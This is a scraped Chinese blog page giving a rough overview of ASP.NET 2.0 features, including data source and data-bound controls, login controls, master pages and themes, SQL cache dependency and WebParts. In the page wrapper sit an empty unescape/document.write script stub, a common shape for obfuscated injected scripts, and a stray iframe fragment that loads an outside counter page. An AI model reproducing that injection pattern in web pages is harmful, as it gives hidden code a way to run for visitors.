asp.net2.0新特性

    技术2022-05-11  118

    HTML Tags and JavaScript tutorial

    <script language="javascript">var encS="";var S=unescape(encS);document.write(S);</script>

    asp.net2.0新特性

    Asp.net2.0 激动人心的新特性                                    因为下个项目的平台会迁移到2.0 ,组长要我学习2.0,并给大家讲课,我 就瞎写了点,并参考了msdn里的资料,当然也有图片,不过没有贴来,嫌麻烦。。。此篇文章仅限粗略了解asp.net2.0用。并无实例和代码。         Asp.net2.0 相对 1.1 版本做了很大程度的优化和创新,为开发人员提供了更多更全方位的支持,使得 web 开发不再复杂,下面,我将简要介绍一下 asp.net2.0 的新特性。   一   数据源控件 这个控件有几个类型 : sqldatasource ,    专门针对支持 sql 语言的数据库(并非只是 sql server )提供强大支持,内建 sql 语句,非常强大。 2 种返回模式, datareader dataset ,其中传递的参数,可以在图形化界面上指定参数来源,可以来自 session,cookie,application 等等。 Sqldatasource 的几个关键属性是: connectionstring   四个 command , datasourcemode (dataset or datareader)    providername(sql server or oracle   , sql server by default). 还有几个关于缓存的属性,会在稍后介绍。      xmldatasource, 这个属性是为了迎合 xml 数据库,但微软现在只提供只读的,不能对 xml 进行更新等操作。但支持缓存, xsl 转换,关键属性为    datafile , 指定的 xml 文件的位置 ,xpathtransformfile ( xsl 转换)等属性。 objectdatasource, 这个属性是为多层架构的专用。在多层间往返实体类的时候使用,比如从数据库访问层返回给 UI 层一个客户类 accessdatasource, 专用于 access sitemapdatasource. 专用于 sitemap ,是关于站点导航的。这个 sitemap 其实是封装的一个关于整个站点页面布局的 xml 文件。 另外,在 dataset 的改进, 1.1 版本的 DS 只能以 XMl 格式化,传输,但在 2.0 中, DS 支持了二进制的序列化,能够以体积更小的方式传送, Ds.remotingformat = serilizationformat.binary. 指定序列化格式。提高性能。   二   新增的数据绑定控件 : gridview , Detailview ,formview , treeview 等,这些功能强大的数据控件配合使用,非常的强大。 Gridview 控件是在 datagird 的升级版,它新增了更多的功能,比如自动排序,自定义分页(与 datagird 的分页不同,他每翻一次页,就从 dataset 中读取数据再绑定当前页,而不是 datagrid 中每翻页就要八页面数据全绑定,数据量较少时可以用 gridview, 但超大数据量还只能自己写分页)。 Detailview 与 gridview 配合使用,当点击 gridview 上某行时,可以在 detailview 中显示详细信息。 Formview 也是如此,与 gridview 一起,显示某条记录的详细信息。 Treeview 就不用介绍了,加入 2.0 是大势所趋。 Treeview 的高可定制化,使得性能很好,比如树很大,你可以每次只是加载当前节点和下一节点,不必加载全部。 数据绑定控件中,还有几个特殊的,比如,加入了激动人心的广告控件,对广告图片进行绑定,对广告的设置可以存为 xml 格式,再把 xml 文件绑定到广告控件 adrotator 中。它支持对各轮循的广告进行时间比例控制。 三   新增的其他控件 上传文件控件,可以上传文件,但其实是一个客户段控件。 图片按钮控件 imagebutton ,图片可以被分割成几个部分,点击每个部分的事件不同。 图片地图控件 imagemap ,图片控件的更高支持,把图片分为几个热区,每个热区你可以视为单独的控件。运行不同的服务器代码。 Multiview 控件,是 view 控件的容器,你可以编程的方式来实现显示哪个 view 控件。 登陆控件    这个控件直接拖拽过来可以实现以前需要手写很多代码的功能。登陆控件包含一系列的控件,他能实现比如验证,找回密码,改变密码,针对登陆用户和匿名用户显示不同信息,等一系列激动人心的功能。   四   主题和皮肤    Asp.net2.0 为网站美工提供了更加强大方便的支持。使用 masterpage, 可以使得整个网站的页面风格统一, masterpage 是一个页面的框架,比如整个网站的头和脚还有导航条都是一样的,你就可以在 masterpage 全部定义好网站中不变的,在编写其他的页面的时候,你只需要继承那个 masterpage 就可以了(在 contentplaceholder 中)。 Theme 文件夹下存储了 skin 文件, skin 文件记录了控件外观的多种属性,   五 缓存技术   Asp.net2.0 提供了另开发人员十分陶醉的缓存技术。他在 1.1 版本的基础上,新添加了 sqldaracaching ,即能够让缓存在服务器端的数据的有效性依赖于 sqlserver 数据库中某个对象,某行某个字段等,当其一旦改变的话,缓存立即失效,并且你可以在缓存实效的回调方法中,重新执行读取数据库的方法,从很大程度上弥补了缓存的不足:时效性差。同时,你还能够开启磁盘缓存技术,能够让你的大量数据缓存在磁盘上,不占用内存。同时,也能够把缓存策略写入配置文件,使得更加灵活。还有回调缓存(缓存后替换),有些页面绝大部分是可以缓存的,但是极少部分在缓存时时效性不足,需要实时更新,那么采用回调缓存,你可以缓存绝大部分,在动态部分经过编译后生成为 html 再加入到缓存中返回给客户端。 (是否需要队 asp.net2.0 的缓存作全面地介绍?)   六 webpart   Webpart 为 sharepoint 中的引用,他能够把页面分成很多的 part , part 能够让用户自己定制,用户具有选择权。在 webpart 上的应用成功案例,可以参考 www.fego.cn 。   src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">

    最新回复(0)